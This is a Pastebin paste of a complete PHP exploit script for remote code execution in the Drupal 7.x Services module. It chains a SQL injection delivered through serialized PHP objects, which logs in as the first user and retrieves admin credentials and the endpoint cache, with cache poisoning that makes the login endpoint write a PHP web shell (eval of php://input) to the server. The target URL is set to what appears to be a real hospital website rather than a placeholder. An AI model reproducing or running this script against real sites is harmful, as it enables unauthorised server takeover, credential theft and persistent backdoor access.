Advertisement
Guest User

Untitled

a guest
Apr 25th, 2018
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.46 KB | None | 0 0
  1. # Exploit Title: Drupal 7.x Services Module Remote Code Execution
  2. # Vendor Homepage: https://www.drupal.org/project/services
  3. # Exploit Author: Charles FOL
  4. # Contact: https://twitter.com/ambionics
  5. # Website: https://www.ambionics.io/blog/drupal-services-module-rce
  6.  
  7.  
  8. #!/usr/bin/php
  9. <?php
  10. # Drupal Services Module Remote Code Execution Exploit
  11. # https://www.ambionics.io/blog/drupal-services-module-rce
  12. # cf
  13. #
  14. # Three stages:
  15. # 1. Use the SQL Injection to get the contents of the cache for current
  16. endpoint
  17. # along with admin credentials and hash
  18. # 2. Alter the cache to allow us to write a file and do so
  19. # 3. Restore the cache
  20. #
  21.  
  22. # Initialization
  23.  
  24. error_reporting(E_ALL);
  25.  
  26. define('QID', 'anything');
  27. define('TYPE_PHP', 'application/vnd.php.serialized');
  28. define('TYPE_JSON', 'application/json');
  29. define('CONTROLLER', 'user');
  30. define('ACTION', 'login');
  31.  
  32. $url = 'http://www.chu-grenoble.fr';
  33. $endpoint_path = '/';
  34. $endpoint = '/user/login';
  35.  
  36. $file = [
  37. 'filename' => 'dixuSOspsOUU.php',
  38. 'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
  39. ];
  40.  
  41. $browser = new Browser($url . $endpoint_path);
  42.  
  43.  
  44. # Stage 1: SQL Injection
  45.  
  46. class DatabaseCondition
  47. {
  48. protected $conditions = [
  49. "#conjunction" => "AND"
  50. ];
  51. protected $arguments = [];
  52. protected $changed = false;
  53. protected $queryPlaceholderIdentifier = null;
  54. public $stringVersion = null;
  55.  
  56. public function __construct($stringVersion=null)
  57. {
  58. $this->stringVersion = $stringVersion;
  59.  
  60. if(!isset($stringVersion))
  61. {
  62. $this->changed = true;
  63. $this->stringVersion = null;
  64. }
  65. }
  66. }
  67.  
  68. class SelectQueryExtender {
  69. # Contains a DatabaseCondition object instead of a SelectQueryInterface
  70. # so that $query->compile() exists and (string) $query is controlled by
  71. us.
  72. protected $query = null;
  73.  
  74. protected $uniqueIdentifier = QID;
  75. protected $connection;
  76. protected $placeholder = 0;
  77.  
  78. public function __construct($sql)
  79. {
  80. $this->query = new DatabaseCondition($sql);
  81. }
  82. }
  83.  
  84. $cache_id = "services:$endpoint:resources";
  85. $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
  86. $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
  87.  
  88. # Take first user but with a custom password
  89. # Store the original password hash in signature_format, and endpoint cache
  90. # in signature
  91. $query =
  92. "0x3a) UNION SELECT ux.uid AS uid, " .
  93. "ux.name AS name, '$password_hash' AS pass, " .
  94. "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
  95. "ux.pass AS signature_format, ux.created AS created, " .
  96. "ux.access AS access, ux.login AS login, ux.status AS status, " .
  97. "ux.timezone AS timezone, ux.language AS language, ux.picture " .
  98. "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
  99. "WHERE ux.uid<>(0"
  100. ;
  101.  
  102. $query = new SelectQueryExtender($query);
  103. $data = ['username' => $query, 'password' => 'ouvreboite'];
  104. $data = serialize($data);
  105.  
  106. $json = $browser->post(TYPE_PHP, $data);
  107.  
  108. # If this worked, the rest will as well
  109. if(!isset($json->user))
  110. {
  111. print_r($json);
  112. e("Failed to login with fake password");
  113. }
  114.  
  115. # Store session and user data
  116.  
  117. $session = [
  118. 'session_name' => $json->session_name,
  119. 'session_id' => $json->sessid,
  120. 'token' => $json->token
  121. ];
  122. store('session', $session);
  123.  
  124. $user = $json->user;
  125.  
  126. # Unserialize the cached value
  127. # Note: Drupal websites admins, this is your opportunity to fight back :)
  128. $cache = unserialize($user->signature);
  129.  
  130. # Reassign fields
  131. $user->pass = $user->signature_format;
  132. unset($user->signature);
  133. unset($user->signature_format);
  134.  
  135. store('user', $user);
  136.  
  137. if($cache === false)
  138. {
  139. e("Unable to obtains endpoint's cache value");
  140. }
  141.  
  142. x("Cache contains " . sizeof($cache) . " entries");
  143.  
  144. # Stage 2: Change endpoint's behaviour to write a shell
  145.  
  146. class DrupalCacheArray
  147. {
  148. # Cache ID
  149. protected $cid = "services:endpoint_name:resources";
  150. # Name of the table to fetch data from.
  151. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
  152. protected $bin = 'cache';
  153. protected $keysToPersist = [];
  154. protected $storage = [];
  155.  
  156. function __construct($storage, $endpoint, $controller, $action) {
  157. $settings = [
  158. 'services' => ['resource_api_version' => '1.0']
  159. ];
  160. $this->cid = "services:$endpoint:resources";
  161.  
  162. # If no endpoint is given, just reset the original values
  163. if(isset($controller))
  164. {
  165. $storage[$controller]['actions'][$action] = [
  166. 'help' => 'Writes data to a file',
  167. # Callback function
  168. 'callback' => 'file_put_contents',
  169. # This one does not accept "true" as Drupal does,
  170. # so we just go for a tautology
  171. 'access callback' => 'is_string',
  172. 'access arguments' => ['a string'],
  173. # Arguments given through POST
  174. 'args' => [
  175. 0 => [
  176. 'name' => 'filename',
  177. 'type' => 'string',
  178. 'description' => 'Path to the file',
  179. 'source' => ['data' => 'filename'],
  180. 'optional' => false,
  181. ],
  182. 1 => [
  183. 'name' => 'data',
  184. 'type' => 'string',
  185. 'description' => 'The data to write',
  186. 'source' => ['data' => 'data'],
  187. 'optional' => false,
  188. ],
  189. ],
  190. 'file' => [
  191. 'type' => 'inc',
  192. 'module' => 'services',
  193. 'name' => 'resources/user_resource',
  194. ],
  195. 'endpoint' => $settings
  196. ];
  197. $storage[$controller]['endpoint']['actions'] += [
  198. $action => [
  199. 'enabled' => 1,
  200. 'settings' => $settings
  201. ]
  202. ];
  203. }
  204.  
  205. $this->storage = $storage;
  206. $this->keysToPersist = array_fill_keys(array_keys($storage), true);
  207. }
  208. }
  209.  
  210. class ThemeRegistry Extends DrupalCacheArray {
  211. protected $persistable;
  212. protected $completeRegistry;
  213. }
  214.  
  215. cache_poison($endpoint, $cache);
  216.  
  217. # Write the file
  218. $json = (array) $browser->post(TYPE_JSON, json_encode($file));
  219.  
  220.  
  221. # Stage 3: Restore endpoint's behaviour
  222.  
  223. cache_reset($endpoint, $cache);
  224.  
  225. if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
  226. {
  227. e("Failed to write file.");
  228. }
  229.  
  230. $file_url = $url . '/' . $file['filename'];
  231. x("File written: $file_url");
  232.  
  233.  
  234. # HTTP Browser
  235.  
  236. class Browser
  237. {
  238. private $url;
  239. private $controller = CONTROLLER;
  240. private $action = ACTION;
  241.  
  242. function __construct($url)
  243. {
  244. $this->url = $url;
  245. }
  246.  
  247. function post($type, $data)
  248. {
  249. $headers = [
  250. "Accept: " . TYPE_JSON,
  251. "Content-Type: $type",
  252. "Content-Length: " . strlen($data)
  253. ];
  254. $url = $this->url . '/' . $this->controller . '/' . $this->action;
  255.  
  256. $s = curl_init();
  257. curl_setopt($s, CURLOPT_URL, $url);
  258. curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
  259. curl_setopt($s, CURLOPT_POST, 1);
  260. curl_setopt($s, CURLOPT_POSTFIELDS, $data);
  261. curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
  262. curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
  263. curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
  264. $output = curl_exec($s);
  265. $error = curl_error($s);
  266. curl_close($s);
  267.  
  268. if($error)
  269. {
  270. e("cURL: $error");
  271. }
  272.  
  273. return json_decode($output);
  274. }
  275. }
  276.  
  277. # Cache
  278.  
  279. function cache_poison($endpoint, $cache)
  280. {
  281. $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
  282. cache_edit($tr);
  283. }
  284.  
  285. function cache_reset($endpoint, $cache)
  286. {
  287. $tr = new ThemeRegistry($cache, $endpoint, null, null);
  288. cache_edit($tr);
  289. }
  290.  
  291. function cache_edit($tr)
  292. {
  293. global $browser;
  294. $data = serialize([$tr]);
  295. $json = $browser->post(TYPE_PHP, $data);
  296. }
  297.  
  298. # Utils
  299.  
  300. function x($message)
  301. {
  302. print("$message\n");
  303. }
  304.  
  305. function e($message)
  306. {
  307. x($message);
  308. exit(1);
  309. }
  310.  
  311. function store($name, $data)
  312. {
  313. $filename = "$name.json";
  314. file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
  315. x("Stored $name information in $filename");
  316. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement